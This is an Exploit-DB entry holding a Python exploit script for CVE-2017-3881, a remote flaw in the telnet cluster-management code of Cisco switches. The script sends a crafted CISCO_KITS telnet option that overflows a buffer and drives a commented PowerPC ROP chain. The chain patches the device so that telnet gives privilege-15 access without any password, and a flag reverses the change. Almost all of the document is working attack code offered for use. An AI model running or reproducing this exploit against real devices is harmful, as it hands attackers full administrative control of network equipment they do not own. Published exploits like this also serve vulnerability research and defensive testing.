EDB-ID: 42122 | Author: Artem Kondratenko | Published: 2017-04-12 | CVE: CVE-2017-3881 | Type: Remote | Platform: Hardware | Aliases: N/A | Advisory/Source: Link | Tags: Remote | Vulnerable App: N/A | # Author:
# Artem Kondratenko (@artkond)
import socket
import sys
from time import sleep
set_credless = True
if len(sys.argv) < 3:
print sys.argv[0] + ' [host] --set/--unset'
sys.exit()
elif sys.argv[2] == '--unset':
set_credless = False
elif sys.argv[2] == '--set':
pass
else:
print sys.argv[0] + ' [host] --set/--unset'
sys.exit()
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 23))
print '[+] Connection OK'
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
#sleep(0.5)
print '[+] Sending cluster option'
print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'
payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116
payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
#next bytes are shown as offsets from r1
payload += '\x02\x2c\x8b\x74' # +8 address of pointer to is_cluster_mode function - 0x34
if set_credless is True:
payload += '\x00\x00\x99\x80' # +12 set address of func that rets 1
else:
payload += '\x00\x04\xea\x58' # unset
payload += 'BBBB' # +16(+0) r1 points here at second gadget
payload += '\x00\xdf\xfb\xe8' # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
payload += 'CCCC' # +8
payload += 'DDDD' # +12
payload += 'EEEE' # +16(+0) r1 points here at third gadget
payload += '\x00\x06\x78\x8c' # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
payload += '\x02\x2c\x8b\x60' # +8 r1+8 = 0x022c8b60
payload += 'FFFF' # +12
payload += 'GGGG' # +16(+0) r1 points here at fourth gadget
payload += '\x00\x6b\xa1\x28' # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
if set_credless:
payload += '\x00\x12\x52\x1c' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr;
else:
payload += '\x00\x04\xe6\xf0' # unset
payload += 'HHHH' # +12
payload += 'IIII' # +16(+0) r1 points here at fifth gadget
payload += '\x01\x48\xe5\x60' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
payload += 'JJJJ' # +8 r1 points here at third gadget
payload += 'KKKK' # +12
payload += 'LLLL' # +16
payload += '\x01\x13\x31\xa8' # +20 original execution flow return addr
payload += ':15:' + '\xff\xf0'
s.send(payload)
print '[+] All done'
s.close()
